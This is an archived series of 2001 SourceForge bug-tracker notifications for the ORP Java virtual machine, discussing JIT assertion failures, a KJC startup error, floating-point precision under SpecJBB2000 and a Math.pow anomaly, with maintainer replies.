Bugs item #440596, was opened at 2001-07-12 00:34 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=440596&group_id=25513 Category: O3 jit Group: None >Status: Open Resolution: None Priority: 5 Submitted By: Wu Gansha (wugansha) Assigned to: Shi Xiaohua (xshi2) Summary: Assert problems when running Jigsaw Initial Comment: There're two places always repeatable: 1. In ia32_o3_jit/flow_graph_dom.cpp, void Flow_Graph::build_dom_tree(){ ... assert(v != -1); //RC-2 Line No.780 ... } 2. In ia32_o3_jit/ir.h: class Operand { ... unsigned bv_position() { assert(bvp != (unsigned)-1); return bvp; } //RC-2 Line No.107 ... } Only if I comment out these two assertions could Jigsaw run, but I don't know the side-effect. There's a place occurring occasionally: 3. In gc/generation.cpp: bool Generation::is_address_in_my_generation(void *p_addr){ ... assert(0); ... } I noticed that this function only valid when GC_DEBUG > 0. ---------------------------------------------------------------------- >Comment By: Shi Xiaohua (xshi2) Date: 2001-09-20 00:29 Message: Logged In: YES user_id=190089 Now it can be reproduced on my desktop. This bug is re-opened. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-09-13 22:44 Message: Logged In: YES user_id=190089 It's hard to be reproduced now. I have to pend it. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-08-30 19:40 Message: Logged In: YES user_id=190089 Gansha, I need your help to reproduce the bug on my desktop. thanks. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-07-13 01:14 Message: Logged In: YES user_id=190089 I saw the bug. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-07-13 01:03 Message: Logged In: YES user_id=190089 Gansha, Turn off these two asserts is dangerous! I'll help you to check the O3 codes when I have time. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=440596&group_id=25513 |
|
From: <no...@so...> - 2001-09-14 05:44:56
|
Bugs item #440596, was opened at 2001-07-12 00:34 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=440596&group_id=25513 Category: O3 jit Group: None >Status: Pending Resolution: None Priority: 5 Submitted By: Wu Gansha (wugansha) Assigned to: Shi Xiaohua (xshi2) Summary: Assert problems when running Jigsaw Initial Comment: There're two places always repeatable: 1. In ia32_o3_jit/flow_graph_dom.cpp, void Flow_Graph::build_dom_tree(){ ... assert(v != -1); //RC-2 Line No.780 ... } 2. In ia32_o3_jit/ir.h: class Operand { ... unsigned bv_position() { assert(bvp != (unsigned)-1); return bvp; } //RC-2 Line No.107 ... } Only if I comment out these two assertions could Jigsaw run, but I don't know the side-effect. There's a place occurring occasionally: 3. In gc/generation.cpp: bool Generation::is_address_in_my_generation(void *p_addr){ ... assert(0); ... } I noticed that this function only valid when GC_DEBUG > 0. ---------------------------------------------------------------------- >Comment By: Shi Xiaohua (xshi2) Date: 2001-09-13 22:44 Message: Logged In: YES user_id=190089 It's hard to be reproduced now. I have to pend it. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-08-30 19:40 Message: Logged In: YES user_id=190089 Gansha, I need your help to reproduce the bug on my desktop. thanks. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-07-13 01:14 Message: Logged In: YES user_id=190089 I saw the bug. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-07-13 01:03 Message: Logged In: YES user_id=190089 Gansha, Turn off these two asserts is dangerous! I'll help you to check the O3 codes when I have time. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=440596&group_id=25513 |
|
From: <no...@so...> - 2001-09-14 05:42:50
|
Bugs item #461090, was opened at 2001-09-12 19:53 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=461090&group_id=25513 Category: None Group: None >Status: Pending Resolution: None Priority: 5 Submitted By: Ying Zhiwei (zwying) Assigned to: Nobody/Anonymous (nobody) Summary: cannot run KJC Initial Comment: When I test KJC-1.5B, KJC cannot run eigher on NT or Linux. Error Message(NT): No java handlers found No java handlers found Uncaught exception: java.lang.ExceptionInIntializerError null Error Message(Linux) No java handlers found No java handlers found No java handlers found orp: ini_iA32.cpp:387: void orp_execute_java- method_array( Method*, void *, J_Value *) : Assertion 'get_current_thread_exception() == 0' failed. Aborted (core dumped) Test case: public class TestVTune { public static void Method1() { } public static void Method100() { for ( int i = 0; i < 1000; i++) { } } public static void Method1000() { for ( int i = 0; i < 1000; i++) { } } public static void main( String args[]) { long j = 0; for ( long i=0; i < 400000l; i++) { j++; } if (j == 4000000000l) System.out.println(j); if (j == 1345294337) System.out.println ("ok111"); Method1(); System.out.println( "Running Method1"); for ( int i = 0; i < 1000; i++) { Method100(); } System.out.println( "Running Method100"); for ( int i = 0; i < 2000; i++) { Method1000(); } System.out.println( "Running Method1000"); } } ---------------------------------------------------------------------- >Comment By: Shi Xiaohua (xshi2) Date: 2001-09-13 22:42 Message: Logged In: YES user_id=190089 With a new Classpath, KJC can be run normally by ORP. Thanks for Gansha's help. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=461090&group_id=25513 |
|
From: <no...@so...> - 2001-09-13 02:53:18
|
Bugs item #461090, was opened at 2001-09-12 19:53 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=461090&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Ying Zhiwei (zwying) Assigned to: Nobody/Anonymous (nobody) Summary: cannot run KJC Initial Comment: When I test KJC-1.5B, KJC cannot run eigher on NT or Linux. Error Message(NT): No java handlers found No java handlers found Uncaught exception: java.lang.ExceptionInIntializerError null Error Message(Linux) No java handlers found No java handlers found No java handlers found orp: ini_iA32.cpp:387: void orp_execute_java- method_array( Method*, void *, J_Value *) : Assertion 'get_current_thread_exception() == 0' failed. Aborted (core dumped) Test case: public class TestVTune { public static void Method1() { } public static void Method100() { for ( int i = 0; i < 1000; i++) { } } public static void Method1000() { for ( int i = 0; i < 1000; i++) { } } public static void main( String args[]) { long j = 0; for ( long i=0; i < 400000l; i++) { j++; } if (j == 4000000000l) System.out.println(j); if (j == 1345294337) System.out.println ("ok111"); Method1(); System.out.println( "Running Method1"); for ( int i = 0; i < 1000; i++) { Method100(); } System.out.println( "Running Method100"); for ( int i = 0; i < 2000; i++) { Method1000(); } System.out.println( "Running Method1000"); } } ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=461090&group_id=25513 |
|
From: <no...@so...> - 2001-09-12 07:57:38
|
Bugs item #459040, was opened at 2001-09-05 22:36 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=459040&group_id=25513 Category: O3 jit Group: None >Status: Closed Resolution: None Priority: 5 Submitted By: Wu Gansha (wugansha) Assigned to: Shi Xiaohua (xshi2) Summary: Loss of precision of floating point Initial Comment: When I run SpecJBB2000 with O3, one validation test can't pass. Observation: The validation data demands printing of $285.00, but ORP prints $284.00. Cause: I found the internal representation of the data on ORP/O3 is 284.99999... (while the correct should be 285.0, ORP/O1 is correct), and there's a bug in JBB2000, which prints 284.9999... as $284.00. Though it's a bug but after all ORP/O3 is a little different with all other JVMs in dealing with floating point arithmetic. Now I have a test case submitted to Xiaohua which will demo the difference. Hopefully it could help. ---------------------------------------------------------------------- >Comment By: Shi Xiaohua (xshi2) Date: 2001-09-12 00:57 Message: Logged In: YES user_id=190089 Since the method and the variables are not constrained by "strictfp", such kind of precise lost can not be totally predicted and avoided, even though we fixed it in this perticular testcase, it could happen in some other places in the future. In fact , without "strictfp", it can not be considered as a real bug. Now we can use O1 for this special method to skip it. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-09-05 22:54 Message: Logged In: YES user_id=190089 It can be reproduced by Gansha's testcase. I'll trace it and find the reason. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=459040&group_id=25513 |
|
From: <no...@so...> - 2001-09-06 06:37:39
|
Bugs item #459047, was opened at 2001-09-05 23:37 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=459047&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Wu Gansha (wugansha) Assigned to: Nobody/Anonymous (nobody) Summary: Math.pow problems Initial Comment: Our implementation of Math.pow calls libc pow directly. But I found there're times pow doesn't work correctly when running JBB2000 with O3. That is, pow(10.0, -3.0) produces negative infinity. I don't know what's the cause. This will happen only once, but always repeatable. Temporarily I use a patch to compare the result, if it's abnormal then execute pow again. When JBB2000 could run, hope other guys could repeat the problem and give a real patch. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=459047&group_id=25513 |
28 messages has been excluded from this view by a project administrator.
